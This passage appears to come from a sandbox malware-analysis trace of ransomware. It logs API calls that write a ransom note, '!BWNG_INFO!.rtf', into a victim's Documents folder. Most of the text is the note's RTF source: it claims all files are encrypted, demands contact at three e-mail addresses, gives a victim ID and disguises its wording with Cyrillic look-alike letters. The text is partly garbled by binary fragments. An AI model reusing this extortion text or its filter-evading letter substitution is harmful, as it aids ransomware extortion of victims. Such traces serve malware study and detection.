\\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nº¾\x0eó?àÜù¤\x9b\x14i¿Ì\x04oÏáÒr¡/N8\x8bãd^\x19.\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.993] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.994] CloseHandle (hObject=0x168) returned 1 [0035.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\!bwng_info!.rtf")) returned 0xffffffff [0035.994] GetLastError () returned 0x2 [0035.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 